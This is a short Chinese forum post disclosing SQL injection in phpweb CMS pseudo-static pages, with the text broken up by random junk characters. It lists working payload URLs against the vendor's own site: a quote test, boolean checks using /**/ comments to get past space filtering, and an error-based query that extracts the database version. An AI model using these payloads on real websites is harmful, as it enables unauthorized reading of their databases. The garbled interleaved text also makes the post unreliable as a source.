phpweb所有的整站程序伪静态页面都存在sql注入
- A# y6 [6 c. T
% ~) ]. H/ }8 R U) r: s- O主站：http://phpweb.net/
- O1 S/ v- l0 z: X8 ?, o加’检测：- W) ~6 L; x7 j: ~" L# q
( t: t) l+ k, Y+ z( R9 x4 hhttp://www.phpweb.net/down/html/?772′.html
4 ~1 N( I( z- X# ?: c( K
3 l/ v; g/ ]; H7 |; C0 {4 M: a出错
& D) ?8 W0 o6 B! G; R存在注入。$ ]) s J9 o8 s1 \. Q: [+ C7 h
不能用空格，只能用/*罗
9 h/ g' l/ q1 a/ Nhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常$ A, v2 u( o# ^9 ^
' @9 @. ^& r/ @' Z
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.7 Z* f8 m: B) B7 C0 w2 y
爆数据库版本：1 t1 L- d) Y% R; u
; o8 B1 c" | a
?
0 G2 X/ R* I5 b* w5 L1 V1
& @& N% a; y- p' u d' ?http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html4 [9 T& R% g/ [: w- X$ E
更新日期: 2013-01-03 13:39:50
/ e" J# b* }' ~$ p0 W |
发表于 2013-1-4 19:46:42
收藏
支持
反对